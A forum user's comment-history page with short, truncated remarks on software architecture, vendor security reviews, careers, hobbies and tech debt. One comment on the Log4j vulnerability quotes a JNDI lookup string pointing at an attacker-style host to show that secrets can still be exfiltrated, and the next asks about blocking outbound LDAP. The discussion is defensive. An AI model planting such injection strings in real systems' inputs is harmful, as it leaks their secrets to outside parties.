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by janstice 4y ago
I think rather than optimise the application architecture optimise the tool chain, for rapid deployment, partial changes, blue/green deployments, etc. A hard separation between front and back ends is good too, so there can be a good UX
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by janstice 4y ago
Alternatively, it’s a good opportunity for staff that don’t get management cut-through to send messages upwards.
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by janstice 4y ago
I suspect it’s a hard limit to prevent disgruntled (former) admin blast radius.
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by janstice 4y ago
I've been a proponent of low-code in the past (and may well be in the future), but we've been a bit burned recently with one of our suppliers - and it's not really a technical problem. Low-code platforms tend to come with com
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by janstice 4y ago
Plus RH backports security patches to rubbish old things that enterprises like us end up with, like php from 2013 - large orgs end up with a million orphaned projects, that so long as they use RH versions of things on a RH machine plugged i
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by janstice 4y ago
Sales engineer or a sales-side Solution Architect - lots of fun if you have a good team (and product) behind you, frustrating if not.
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by janstice 4y ago
Bust out a Tidal subscription- it works with Algoriddm & I think Serato still.
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by janstice 4y ago
I suspect that anyone offering such an agreement in a potentially venture funded startup would be so hopelessly naive that it would be a huge red flag for further issues down the track (partnership or co-op model might be a different story,
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by janstice 4y ago
You call it checkbox compliance, but it does at least make vendors think about pretty much the bare minimum in all-around security posture, and then have an external audit - as someone who has to approve SaaS vendors it makes my life much e
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by janstice 5y ago
It sounds like Vernor Vinge’s A Fire Upon The Deep (& sequels), well worth finding.
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by janstice 5y ago
The incentive is to keep the employee, who maybe wants a big box of money to buy a house, from going to work at a FAaaNnGg for a fat signing bonus.
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by janstice 5y ago
Edge cases and cascading failures are things that code reviews should be focusing on, as that’s a place where more brains is better than one, rather than the usual “does the code match the formatting and naming conventions”.
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by janstice 5y ago
Another way of writing that is that the courts prevent the government from taking unlawful actions. The tension is between the government and the law.
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by janstice 5y ago
I agree with pretty much everything here. I don’t think there’s a no-maintenance solution out there that will just keep running hands-off (maybe 25 years ago in a uni environment, but certainly not for the last 10 years). You could probably
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by janstice 5y ago
Thanks for pointing out the glacier article - it looks really interesting - here’s a 2016 interview with the author (a science historian who studies people who study glaciers), Mark Carey (a man) https://www.science.org/cont
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by janstice 5y ago
We are big in AzureAD (and getting bigger) and this is how we do it, otherwise our non prod systems will need non-prod UAT users, and when the cloud AD is tied to on prem traditional AD, that’s really hard for non-technical users to test (b
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by janstice 5y ago
The RCE is prevented, but there are likely still exfiltration opportunities like "${jndi:ldap://nijave-yourpassword.blackhat.com:1389/a}" - check out https://github.com/apache/logging-log4j2&#x2
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by janstice 5y ago
From a quick look at the lunasec page, it looks we can mitigate by blocking outbound LDAP traffic to unknown destinations?
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by janstice 5y ago
The DSEs of the mid-2000s where not a patch on the DSEs of the 80s & 90s - it was like all the good bits of Jaycar concentrated.
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by janstice 5y ago
'Functional Analyst' is the usual term if you're looking for jobs in this space - heaps of jobs in Salesforce/Dynamics/SAP/etc - surprisingly good pay in this area, but not really the start-up life.
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by janstice 5y ago
Architect who works on a bunch of procurement - our approach is that a clean SOC2 Type 2 report is preferable, but not a deal-breaker (and reduces paperwork for me). But if you couldn't demonstrate that you could address the issues tha
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by janstice 5y ago
To be fair, I’m not sure that UK will be able to have fission generators running by 2035 if they kick off a project now…
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by janstice 5y ago
Doesn’t require NFTs, but NFTs could solve the problem of digital trading in untrustworthy markets - like game codes and event tickets. (Introduce other problems too, like getting hijacked by people who are overexcited at the thought of fra
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by janstice 5y ago
More than needs repair - I think that a pretty good analogy for tech debt is deferred maintenance - if you don't change your oil or your tires the chances of expensive/bad problems increases. If you've got dents in the body y
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by janstice 5y ago
When I worked for a place with an e-commerce recommender, about the first customer request feature was editorial control on the recommendations, so they could actually sell the things they made money on (or had in stock), rather than what t
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by janstice 5y ago
Any time you feel like you have too much money and spare time, you should get into modular synths - I think you might really dig it.
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by janstice 6y ago
How much of the comp package extends beyond the first year? In my end of the woods the big stock grant only happens on hiring or special events, and after that it's salary & bonus.
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by janstice 6y ago
There was a similar system, which got more or less replaced by standardised containers - the LASH carrier fleet took freight in standardised barges called “lighters” which could be floated out at ports, but couldn’t really compete with the
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by janstice 6y ago
I wonder if the real issue is that the crew would exceed their on-duty hours (either for that flight or the return)?
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by janstice 6y ago
I was once dead set against stored procs (having been previously in favour of stored procs) for the same don’t-split-business-logic reasons. However I now have a more nuanced approach - stored procs shouldn’t have business logic, but can b

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